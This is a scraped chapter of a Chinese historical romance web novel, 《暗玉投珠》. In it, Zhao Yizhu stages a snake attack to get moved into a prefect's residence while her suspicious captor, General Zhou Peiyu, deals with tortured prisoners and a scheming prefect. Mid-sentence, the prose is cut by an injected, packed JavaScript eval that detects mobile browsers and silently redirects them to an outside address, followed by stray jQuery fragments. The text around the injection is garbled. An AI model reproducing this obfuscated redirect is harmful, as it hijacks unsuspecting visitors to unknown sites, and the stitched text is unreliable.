7. 第 7 章

作品:《暗玉投珠

    夜色幽静,偶有几声虫鸣从廊下灌木丛旁青石砖缝中传出,愈发显得屋中少女断断续续从菱花窗内传出的啜泣声无助既伤心。


    站在廊下不远处的周裴玉,被哭声扰的直皱眉,阴沉着脸,慢条斯理地用湿帕子擦着湛蓝色宽大的袖口染的点点殷红血迹,头也未抬地质问跪在自己身前请罪的二两:


    “平时不是自诩最会驱蛇吗?这会儿怎么不继续往下说了?”


    二两黝黑的脸皱成一团,额上冷汗直冒,紧抓着膝头的军服,“属下方才说得千真万确,绝无欺瞒,而且属下确实早在那些和亲女下榻驿站前,就命人留意赵娘子的寝居,特意撒了许多雄黄分防那些蛇,可——”


    二两说到此处,懊恼得生无可恋,尔自低下声去:


    “可属下哪儿想得到,今日夜里竟然起了劲风,不但将那些洒在窗口处的雄黄粉吹没了,晚间伙房还偏生做了鹿肉汤,那些红肉本就会引得处于繁殖期的蛇类异常兴奋,不管不顾地去吞食,所以就——”


    知自己这次闯了大祸,再怎么辩解也无用,二两索性双手撑着地面,弯腰下去将头磕的咚咚响: “不管怎么说,今日之事到底是属下办事不力,请主子责罚。”


    “去钱将军处领罚。”


    二两应声后,起身大步流星地离去了。


    周裴玉则转身朝屋内走,眼角余光瞥见常嬷嬷端着水盆步履匆匆地朝屋内去。


    而这已是今晚常嬷嬷端进屋中第五盆热水了,看来今夜赵宜珠被吓得不轻。


    又想到自己方才劈开房门冲进屋中看到的那血淋淋的一幕,周裴玉不觉皱起眉头,之前在脑海中的闪过的疑虑再次袭来。


    今夜之事,且不说赵宜珠一个弱女子徒手杀死两条蟒蛇是多么困难的事,单论胆量和置之死地而后生的爆发力在一众女子中已十分惊人,而这两样特质,全然不是之前在齐国皇宫对他委以虚蛇的她能所为的?


    可若她不是赵宜珠,她又会是谁?


    为此,他方才还特意去查看了那两条蟒蛇,并无内伤的痕迹,许是女子本身力气就小,就连簪子刺入蛇身七寸的深度也很浅。


    而她除却手腕和膝盖处有几处擦伤外,浑身完好无损,可见她此刻还能好好活着,已是侥幸。


    事实已摆在眼前,由不得他不认,可不知为何他心头那个念头却越发强烈。


    思及此,周裴玉舌尖抵着上颚讥笑一声。


    都说江山易改本性难移,今日之事,也许是她遇到危难出于自救的本能反应,也无甚奇怪。


    他如此疑心做什么?难不成还幻想她变回当年那个善良的少女不成?


    遂强行压在心头疑云,用帕子用力地将手背上早已干涸的血迹擦掉,丢在地上。右手按在腰间佩剑上,大步朝屋中去。


    *


    赵宜珠正坐在小榻上哭泣,见周裴玉从外面入内,忙用帕子擦了下通红的眼尾,起身快步走到他跟前,委屈地不住哽咽哀求: “玉郎,我不想再待在这间屋子里了,我害怕。”


    昏黄烛光下,少女不安地紧绞着手里的帕子,她似是刚沐浴过,身上的染血的衣裙已换掉,此刻穿着件杏子黄缎面对襟长裙,一头鸦黑长发湿答答的披在肩头,随着走动,宽大的绣口摩擦衣料往上移动,不经意间,露出的一截雪白手腕上的青紫擦伤,越发显眼。


    周裴玉错目,只盯着她乌泱泱的发顶,碧绿色凤眸透着冷漠疏离:“我给你换一间房。”


    “我不要!”


    少女一听蓦地拔高音反驳,她似是怕极了,浑身抖若筛糠哭得更凶了,“我不要再住在这了。”


    若搁在以往,周裴玉见她无理取闹,定会冷着脸拂袖离去。


    可今夜许是方才脑中闪过的念头作祟,他眉峰微皱,竟是少有的耐心,薄唇抿紧还未开口。


    少女似是知自己态度过激,忙软了语气,拉着他右手哽咽哀求:


    “我的意思是,就算玉郎给我换间其他的房,可这间驿站还是死过蛇的,我还是会怕,玉郎之前不是曾在刺史府当过副将吗?应该在刺史府有下榻的居所吧?这几日玉郎反正也不急着赶路,就让我跟着玉郎去刺史府住几日避一避可好?”


    周裴玉闻言眸色微闪,晦暗不明。


    赵宜珠平时最怕蛇,今夜如此釜底抽薪搞这么大一出,目的便是为了这一刻,赌周裴玉对她嫡姐赵宜珍为数不多的真心,会心软经不住她的哀求同意。


    而今再看,见他竟铁石心肠到了这等地步,心里顿感不妙,一咬牙忙学嫡姐平时在家做错事的模样,只一刹那,泪水如断了线的珍珠般从脸颊上滑落,委屈更甚:


    “玉郎是还在生我前几日的气吗?可我已经知道错了,我可以发誓,我以后再也不做惹玉郎不喜的事,若我做不到,就让我被天打雷——”


    她话音未落,周裴玉脸上那双碧绿凤眸一瞬变得森寒:“无须你发毒誓,我依你便是了。”


    转头吩咐门外的将士:“来人,帮她收拾东西。”


    “是。”几个魏军忙快步入内搬抬她的物什。


    赵宜珠羽睫颤了几颤,一下子愣住了。


    万没想到还未等她多磨他一阵子,他竟忽然同意了,甚至不仅没如平常那般讽刺她,还对她有求必应。实在和以往对她的态度大相径庭,到底是因何事会让他这般?还未等她想明白。


    这时,钱常忽从院外入内,走到门前台阶下,头也未抬地抱拳朝周裴玉禀告道:“将军,方刺史请您过去议事。”


    周裴玉再不留恋转身大步离去。


    *


    这厢,钱常是知道方良信这个酒囊饭袋做派的,尤其是周裴玉还曾是方良信副将时,方良信就常常强夺周裴玉的军功占为己有,只短短几年,就从一个小小散骑侍郎攉升为一州刺史。可以说这里面绝大部分是周裴玉的功劳。


    对此事,兄弟们对方良信的做法颇为不满,可周裴玉却不置可否。


    故而,钱常担心有诈,执意点了十几个精锐将士,随周裴玉一同去往刺史府。


    一众人方踏入院中,便见五六个身着褴褛的魏国人,裸.露出的皮肤上布满了深可见骨的鞭痕,如狗一般趴在地上奄奄一息。如摧枯拉朽烂风箱的急促喘息声,响彻整个院子上空。


    站在他们身侧的几个年轻将士,似对他们刚用过刑,刺目的鲜血顺着手中握的鞭子淅沥沥地砸在青石砖上,发出沉闷的敲击地面声。


    方良信见人来了,哈哈大笑一声,忙引周裴玉入座。


    紧接着其中一名行刑的李副将,快步上前,将几人画过押的罪状双手举高,呈到周裴玉跟前:


    “这几个人已在周将军来之前招了,说他们几个是戚家军残部,因恼怒周将军灭了齐国,便怀恨在心,召集了附近的山匪,一同埋伏在路上伺机报复。”


    周裴玉意味不明地瞥了眼那几人一眼,才抖开沁了鲜血的状纸看起来。


    廊下垂吊的橘红灯笼散发出的光影,泄了周裴玉半边肩膀。只见他屈起的修长食指一直“笃笃笃”的轻叩桌面,越发显得他眉眼凌厉如锋,一副久经上位者的肃穆模样。


    方良信仰靠在椅背上的背脊不觉绷紧,喉头滑动了下,眼神瞟向李副将。


    李副将不动神色地朝他点了下头,方良信义振填膺的一拍旁侧桌案。


    “这些戚家军残部当真是欺人太甚,本刺史已下令,即刻起派出三千精锐去追击剩余戚家军残部,誓要将他们一网打尽!”


    “这倒不必。”周裴玉这才合上状纸,扔到一边,挑唇讥讽:“那些戚家军残部势力不足为惧,但若刺史大张旗鼓地去抓人,反而会引起齐国老百姓的恐


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15300188|167146||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    慌,再次发生动乱。”


    “那——”不待方良信说完。


    “方刺史将这几人交给我,剩下的事我来处理。”


    *


    待周裴玉走后,方良信瞬间再无方才慷慨模样,气恨的一拳捶在廊下的漆红木柱上,腰上三层赘肉跟着抖了几抖。


    “这才几日不见,这庶子竟已然不把本刺史放在眼里了,若让他就这么平安回到魏国,往后岂不是让这庶子骑在本刺史头上撒尿?”


    李副将谄媚地忙恭维道:“刺史先别动怒,您忘了就算他把人带走也已无济于事了?”


    “也对。”方良信转念想到那几个人已被他事先拔掉了舌头,任谁再审问也问不出什么来了,怒火这才消了些,嘴里喘着粗气,恶狠狠地吩咐道:“接下来知道怎么做吗?”


    李副将狞笑一声,“刺史放心,属下定会让那庶子永远留在此地。”


    *


    半个时辰后,赵宜珠和绿翠常嬷嬷等人搬进了刺史府,在前面领路的是一名面生的内侍官,全程无话,走路生风没有一丝声音,一看便是个练家子。


    赵宜珠想要套出些关于刺史府的话都套不出,索性闭嘴,待左拐右拐到达一处偏僻的庭院后,那名内侍官这才停下,垂目对她恭敬说道:


    “赵娘子这几日就在此处休息,若有事就派人去院外吩咐属下去办即可。”


    一躬身就要退下。


    “二两呢?”赵宜珠见院中连个丫鬟仆妇都无,实在不像刺史府的后院规制,忙喊住人问道。


    “二两护卫娘子安危不当,已去领罚了,这几日由属下来护卫娘子安全。”


    “此处可有别的女眷?”


    “没有。”


    见绿翠面露疑惑之色,内侍官恍然忙朝赵宜珠低声解释:


    “此处是周将军曾经下榻的院子,周将军喜静,不喜外人在旁伺候,凡事又都喜亲力亲为,所以这院中并无奴仆,若赵娘子实在需要,可等周将军回来时和周将军提。”


    这回说完,不等绿翠开口已转身快步离去。


    徒留绿翠和常嬷嬷面面相觑,不知如何是好。


    赵宜珠却轻松口气,心想如此甚好,也省得她接下来行动之时绞尽脑汁驱赶院中的人了。


    思及此,她下意识抓握了下手腕上的伤痕,脑海中不期然闪过方才自己为达目的杀蛇时害怕的快要死掉的窒息感。现在想来,还令她后怕不已。


    甚至就在来的路上,她还暗暗发誓,若有可能这辈子她都不想再看到蛇了。而此刻当她踏进这方院子时,才发现自己今晚所做的一切牺牲都是值得的。


    随即一脸庆幸地坐在小榻上,稍作休息后,哑声问绿翠。


    “之前我让你帮我准备的夜行衣呢?从马车上拿下来了吗?”


    “都拿了。”绿翠忙点头,走到小几上就要解开包袱抖出。


    就在这时,紧闭的房门忽被人从外面推开,周裴玉挟裹着一身冷意入内。


    听到动静,赵宜珠忙循声看去。


    两人四目相对,周裴玉如寻常那般面无表情,摆手令绿翠和常嬷嬷退下。


    两人站着未动担忧的看赵宜珠一眼。


    赵宜珠朝两人摇了下头,示意自己无事后,两人才退出厢房并反锁上房门。


    等她再次抬眸时,便见周裴玉已尔自走到屋中央的紫檀木桌前,伸手解下腰间佩剑扔在桌上,发出“咔嗒”一声闷响。


    赵宜珠的心弦随之悬起,忽想到方才她只顾着如何住进刺史府,竟忘了周裴玉也住在这。


    而这屋中仅有一张床榻,他们两个孤男寡女待会儿要如何睡?


    思及此,赵宜珠下意识看了眼不远处紧靠着北墙能容纳三四个人睡下的千步床,如被烫着般忙移开眼,撑在小榻上的青葱十指蜷缩起来。